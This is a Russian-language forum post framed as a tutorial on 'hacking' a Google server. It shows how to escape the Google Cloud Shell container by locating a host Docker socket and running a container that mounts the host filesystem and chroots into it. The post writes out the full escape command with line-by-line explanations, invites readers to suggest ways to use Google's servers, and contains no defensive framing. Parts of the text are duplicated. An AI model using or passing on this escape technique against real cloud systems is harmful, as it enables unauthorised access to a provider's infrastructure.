OldRasta
Интересующийся
Интересующийся

OldRasta
Интересующийся
Интересующийся
- Сообщения
- 62
- Реакции
- 135
Привет! Сейчас я покажу как взломать один из серверов, который стоит где-то в датацентре гугла. Мы получим доступ не к контейнеру, и не будем арендовывать сервер. Просто введем одну команду. Начнем!
Как некоторые знают, у гугла есть облако, где можно запустить свой сервер. Но там также есть и бесплатные сервисы. К примеру, Google Cloud Shell. Он позволяет писать код прямо в браузере, и там же его и запускать. Также снизу есть терминал, в котором есть root, и в котором можно вводить любые команды. Но мы знаем, что этот терминал - просто контейнер, который по факту ничего из себя не представляет. Для этого надо копать глубже.
Если ввести команду ниже, то мы сможем найти все сокеты Docker (штуки для управления контейнерами) на этом компьютере. Но результаты там достаточно странные...

Тут есть как /run/docker.sock, так и очень странный /google/host/var/run/docker.sock. Заметили слово host, наверное там что-то есть! С помощью следующей команды мы сможем подключиться к хосту!
После этой команды мы получим доступ к хосту, одному из серверов Google. Если в команде заменить chroot /host /bin/bash на /bin/bash, то мы сможем получить доступ к контейнеру (который делится ресурсами с хостом). Установим и запустим в контейнере screenfetch:
Получаем такую картину:

Как мы видим, на этом сервере Xeon 2 ГГц, 2Гб оперативки, и 63Гб диск. Неплохо для сервера на Linux.Переезжаем в Google.
Но конечно интереснее посмотреть что в хосте! Напишем это в контейнере и зайдём туда:
Жалко только то, что в нем особо ничего нет, и чтобы его облагородить надо будет потратить несколько часов. Там нету даже менеджера пакетов (типа apt или pacman).
Пишите снизу ваши идеи, как использовать сервера гугла, будет интересно почитать и воплотить. (прошу воздержаться от майнинга))
Bash:
Как некоторые знают, у гугла есть облако, где можно запустить свой сервер. Но там также есть и бесплатные сервисы. К примеру, Google Cloud Shell. Он позволяет писать код прямо в браузере, и там же его и запускать. Также снизу есть терминал, в котором есть root, и в котором можно вводить любые команды. Но мы знаем, что этот терминал - просто контейнер, который по факту ничего из себя не представляет. Для этого надо копать глубже.
Если ввести команду ниже, то мы сможем найти все сокеты Docker (штуки для управления контейнерами) на этом компьютере. Но результаты там достаточно странные...
sudo find / | grep docker.sock

Тут есть как /run/docker.sock, так и очень странный /google/host/var/run/docker.sock. Заметили слово host, наверное там что-то есть! С помощью следующей команды мы сможем подключиться к хосту!
После этой команды мы получим доступ к хосту, одному из серверов Google. Если в команде заменить chroot /host /bin/bash на /bin/bash, то мы сможем получить доступ к контейнеру (который делится ресурсами с хостом). Установим и запустим в контейнере screenfetch:
apt install screenfetch
screenfetch
screenfetch

Как мы видим, на этом сервере Xeon 2 ГГц, 2Гб оперативки, и 63Гб диск. Неплохо для сервера на Linux.
Но конечно интереснее посмотреть что в хосте! Напишем это в контейнере и зайдём туда:
Bash:
chroot /host /bin/bash
chroot /host /bin/bash
Пишите снизу ваши идеи, как использовать сервера гугла, будет интересно почитать и воплотить. (прошу воздержаться от майнинга))
Bash:
Код:
sudo docker -H unix:///google/host/var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
# sudo - выполняем как root
# docker - клиент для управления контейнерами
# -H unix:///google/host/var/run/docker.sock - указываем сокет для подключения
# run - команда для запуска контейнера
# -v /:/host - монтируем / на хосте в папку /host в контейнере
# -it - открыть терминал в контейнере
# ubuntu - дистрибутив, который использовать в контейнере
# chroot /host - переходим в хост
# /bin/bash - запускаем bash, т.е. терминал